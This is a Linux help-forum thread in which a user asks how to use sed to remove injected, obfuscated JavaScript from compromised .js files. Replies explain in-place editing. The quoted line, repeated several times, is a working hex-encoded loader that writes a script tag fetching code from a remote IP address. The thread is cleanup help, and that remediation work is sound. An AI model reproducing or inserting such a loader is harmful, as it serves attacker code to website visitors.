[SOLVED] SED command no working | May be I am doing wrong
Linux - NewbieThis Linux forum is for members that are new to Linux.
Just starting out and have a question?
If it is not in the man pages or the how-to's this is the place!
Notices
Welcome to LinuxQuestions.org, a friendly and active Linux Community.
You are currently viewing LQ as a guest. By joining our community you will have the ability to post topics, receive our newsletter, use the advanced search, subscribe to threads and access many other special features. Registration is quick, simple and absolutely free. Join our community today!
Note that registered members see fewer ads, and ContentLink is completely disabled once you log in.
If you have any problems with the registration process or your account login, please contact us. If you need to reset your password, click here.
Having a problem logging in? Please visit this page to clear all LQ-related cookies.
Get a virtual cloud desktop with the Linux distro that you want in less than five minutes with Shells! With over 10 pre-installed distros to choose from, the worry-free installation life is here! Whether you are a digital nomad or just looking for flexibility, Shells can put your Linux machine on the device that you want to use.
Exclusive for LQ members, get up to 45% off per month. Click here for more info.
I want to remove the below code from all .JS files:
======================
_0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x6 3\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x3 2\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C"," \x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));
======================
For this I have tried to use below command but its not working.
======================
grep -rl '_0xaae8' . | xargs sed –i 's/var\s_0xaae8.*//g'
sed: -e expression #1, char 1: unknown command: `▒'
======================
Please help me out what will be the exact command.
Any suggestion should be appreciated.
I want to remove the below code from all .JS files:
======================
_0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x6 3\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x3 2\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C"," \x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));
======================
For this I have tried to use below command but its not working.
======================
grep -rl '_0xaae8' . | xargs sed –i 's/var\s_0xaae8.*//g'
sed: -e expression #1, char 1: unknown command: `▒'
======================
Please help me out what will be the exact command.
Any suggestion should be appreciated.
Executing a sed command over a file does not, by default, change the contents of the file; it just outputs the edited content to standard out.
You need to capture the output, perhaps by redirection, into a new file that will then look as you wish, or review info sed to understand how to make changes in-place
As per your suggestion, I have tried the below command. Unfortunately its not working. File is same as it is
==========
[root@dev1 jquery]# cat jquery.js
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x6 3\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x3 2\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C"," \x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));[root@dev1 jquery]#
[root@dev1 jquery]# sed '/_0xaae8/d' jquery.js
[root@dev1 jquery]# cat jquery.js
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x6 3\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x3 2\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C"," \x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));[root@dev1 jquery]#
==========
It will good if you please check and suggest me with exact command.
Regards,
Tarak Nath
Hi,
As explained by scasey, the given sed command will remove the content of the source file and print on the linux terminal. It will not make any changes on the source file. To remove the lines from the source file permanently use the "-i" option with the sed command.
Code:
sed -i '/_0xaae8/d' file_name
Note: This will make permanent changes in the SOURCE file. SO BE CAREFUL.
Alternativly, another suggestion is that to redirect it to a new file without the "-i" option in the sed command.
Code:
sed '/_0xaae8/d' file_name > NEW_FILE_NAME
This will anyways preserve the old file and also have a new one. Once the new one is fine, you can keep it or get rid of the old files.
LinuxQuestions.org is looking for people interested in writing
Editorials, Articles, Reviews, and more. If you'd like to contribute
content, let us know.